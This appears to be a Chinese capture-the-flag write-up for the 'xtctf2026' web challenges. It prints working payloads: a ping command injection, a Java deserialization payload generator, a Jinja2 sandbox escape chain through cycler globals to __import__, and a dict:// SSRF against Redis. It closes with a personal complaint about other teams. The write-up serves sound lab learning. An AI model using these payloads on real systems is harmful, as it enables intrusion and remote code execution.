第二届"星途杯"-xtctf2026-web全解wp

本文最后更新于 2026年6月12日 下午

前言

web题太少了,遇到神人评委,别的队伍py搞得飞起不ban,我老老实实做题就因为我wp没写清楚给我ban了,真的难绷

签到

这题考的是ping接口执行rce(很经典的一道题),首先进去后是一个登录框,先扫目录,发现有泄露backup备份目录

点进去看到有www.zip备份文件,下载下来,在config.php里面找到账号密码登录:admin/Xt@2026#Web1!ops

然后看到ping接口,直接127.0.0.1;cat /flag.txt拿到flag

web2

这题考的是基础java反序列化(用不着ysoserial的那种)

首先看到首页,依旧先扫目录,发现有backup泄露的两个java文件

点开后依次分析以下内容

Order.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.ctf.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Order implements Serializable {

private static final long serialVersionUID = 1L;

private Integer id;
private String userId;
private String content;
private String secret;

// 自定义反序列化方法,反序列化时会执行恶意命令
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
String[] cmd = {"/bin/sh", "-c", "cat /flag* 2>&1"};
Runtime.getRuntime().exec(cmd);
}

// Getter 和 Setter 方法
public Integer getId() {
return id;
}

public void setId(Integer id) {
this.id = id;
}

public String getUserId() {
return userId;
}

public void setUserId(String userId) {
this.userId = userId;
}

public String getContent() {
return content;
}

public void setContent(String content) {
this.content = content;
}

public String getSecret() {
return secret;
}

public void setSecret(String secret) {
this.secret = secret;
}
}

ApiController.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.ctf.controller;

import com.ctf.entity.Order;
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.util.*;

@RestController
@RequestMapping("/api")
public class ApiController {

// 管理员密钥
private static final String ADMIN_SECRET = "CTF{ORDER_SECRET_2025_ADMIN_KEY}";

/**
* 反序列化接口
* @param params 请求参数 map,必须包含 secret 和 data
* @return 处理结果 map
*/
@PostMapping("/deserialize")
public Map<String, Object> process(@RequestBody Map<String, String> params) {
Map<String, Object> result = new HashMap<>();

String secret = params.get("secret");
String data = params.get("data");

// 校验密钥
if (secret == null || !ADMIN_SECRET.equals(secret)) {
result.put("code", 403);
result.put("msg", "密钥错误");
return result;
}

try {
// 解码 Base64 数据
byte[] bytes = Base64.getDecoder().decode(data);

// 反序列化 Order 对象
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Order order = (Order) ois.readObject();
ois.close();

// 成功返回
result.put("code", 200);
result.put("msg", "success");
return result;

} catch (Exception e) {
// 出现异常返回 500
result.put("code", 500);
result.put("msg", "error");
return result;
}
}
}

其实还有个git泄露的,但是看不出来有啥用就没端上来(

回到ApiController.java,我们可以看到直接泄露执行密钥了(这个是要在传参的时候用到的)

然后再看到反序列化执行端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try {
// 解码 Base64 数据
byte[] bytes = Base64.getDecoder().decode(data);

// 反序列化 Order 对象
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Order order = (Order) ois.readObject();
ois.close();

// 成功返回
result.put("code", 200);
result.put("msg", "success");
return result;

}catch (Exception e) {
// 出现异常返回 500
result.put("code", 500);
result.put("msg", "error");
return result;
}
}

可以看到创建了两个新对象,然后会反序列化Order,并调用readObject()类

然后看到下面这里出题人给咱放了一点小水

1
2
3
4
5
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
String[] cmd = {"/bin/sh", "-c", "cat /flag* 2>&1"};
Runtime.getRuntime().exec(cmd);
}

这里显示是只要反序列化通过就直接回显flag,随后就是一些传参的方法

剩下一点小坑只要注意一下我们写的Order.java里面含有package com.ctf.entity就可以了

因为比赛只准用豆包,这里就先自己写一个Order.java,然后再丢给ai让他帮我生成pay.java吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.ctf.entity;

import java.io.Serializable;
public class Order implements Serializable{
private static final long serialVersionUID=1L;
private Integer id;
private String userId;
private String content;
private String secret;

public Order() {}

public Order(Integer id,String userId,String content,String secret){
this.id=id;
this.userId=userId;
this.content=content;
this.secret=secret;
}
}

ai生成pay.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.ctf.entity;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class pay {
public static void main(String[] args) {
try {
// ✅ 核心:反射创建对象,完全不直接调用 new Order()
Order order = Order.class.getDeclaredConstructor().newInstance();

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(order);
oos.close();

// 输出Payload
String payload = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(payload);

} catch (Exception e) {
e.printStackTrace();
}
}
}

另外这里还有一个细节,就是要构造好与package相同结构的文件夹

运行拿到base64后传参,拿到flag

flag{fbf48355-256e-447d-a2a4-39d24d60ff0f}

S5T1

这道题考ssti的jinjia2模板注入

首先先拿常规payload fuzz一波,发现他的回显始终是{“status”:”OK”},说明这是一个假200题,专门用来防焚靖的

然后再看到附件,发现他所支持的模块有

1
2
3
4
5
6
7
8
9
10
11
12
13
func_List = [
"get_close_matches",
"dedent",
"fmean",
"listdir",
"search",
"randint",
"load",
"sum",
"findall",
"mean",
"choice",
]

然后看到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route("/", methods=["GET", "POST"])
def index():
submit = request.form.get("submit")
if submit:
try:
sys.settrace(trace_calls)
sys.setprofile(trace_calls)
rendered = render_template_string(submit)
finally:
sys.settrace(None)
sys.setprofile(None)

print(rendered)
if BoleanFlag:
return jsonify({"flag": RealFlag})
return jsonify({"status": "OK"})

所以后面就只能用这些模块(因为试过了,os啥的模块都删掉或者禁掉了)

看到图二,分析一下危险函数

1
call:普通python函数调用,取函数名;c_call:C扩展模块函数调用(os/re/random等)

由此可得:

Jinja内置全局对象cycler,通过cycler.init.globals可以拿到对应模块全局命名空间,进而获取未被沙箱过滤的builtins与原生import,实现无过滤导入任意模块

通过上下拼接的方法实现沙箱逃逸,通过 Jinja2 内置上下文对象cycler绕过沙箱限制,这边一次性调用全部 11 个候选函数,无论本轮随机选中哪 5 个目标,都能全部触发

总之这次的逃逸核心就是:间接获取 globals → 拿到原生 import

整理一下链子:cycler.init.globals.builtins.import

随后我们先构造一个框架,然后再让ai去填补完善

1
2
{% set b=cycler.__init__.__globals__.__builtins__ %}
{% set imp=b.__import__ %}

ai:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set b=cycler.__init__.__globals__.__builtins__ %}
{% set imp=b.__import__ %}
{{
imp("difflib").get_close_matches('a',['a']),
imp("textwrap").dedent(' test'),
imp("statistics").fmean([1,2]),
imp("os").listdir('.'),
imp("re").search('a','a'),
imp("random").randint(1,2),
imp("json").load(imp("io").StringIO('{}')),
b.sum([1,2]),
imp("re").findall('a','aaa'),
imp("statistics").mean([1,2]),
imp("random").choice([1,2])
}}

拿到flag:

1
{"flag":"flag{0c672a5e-34b9-466d-8edc-baebc4e34a8b}"}

easyssrf

这道题很牛逼

先讲一下我的思路(虽说没成)

看一下systeminfo,是redis服务

首先fuzz出来就是除gopher和dict协议以外所有的协议都被过滤了,并且很死

然后我就想着打gopher测通道,在本地写一个shell,然后直接rce的,但是config文件没权限改,然后set加get的方式不会被执行

所以就只能用dict读公网服务器里的flag(其实是后面吃饭的时候没事乱写payload试出来的)

所以最后poc:

1
dict:/get:flag

后记

后面的话就没啥了,只是有点气人也有点想不明白,为啥会有人拿着py后的高分还能那么理所应当的在别人面前趾高气扬,为啥就不能稍微内敛低调一点吗,我真的很想不通,也很讨厌这类人。所以吧,虽说这么讲我自己也些不足,只是在现在这种环境下可能此类情况也层出不穷,我也应该早点习惯好

那就这样吧,愿以后遇到更好的人,珍惜眼下的一切,尽管我也缺点百出,惹下过很多麻烦,惹毛过不少好人,但我会改变的,嗯,总有一天


第二届"星途杯"-xtctf2026-web全解wp
https://zomnap.github.io/2026/06/10/xtctf2026/
作者
Zomnap
发布于
2026年6月10日
许可协议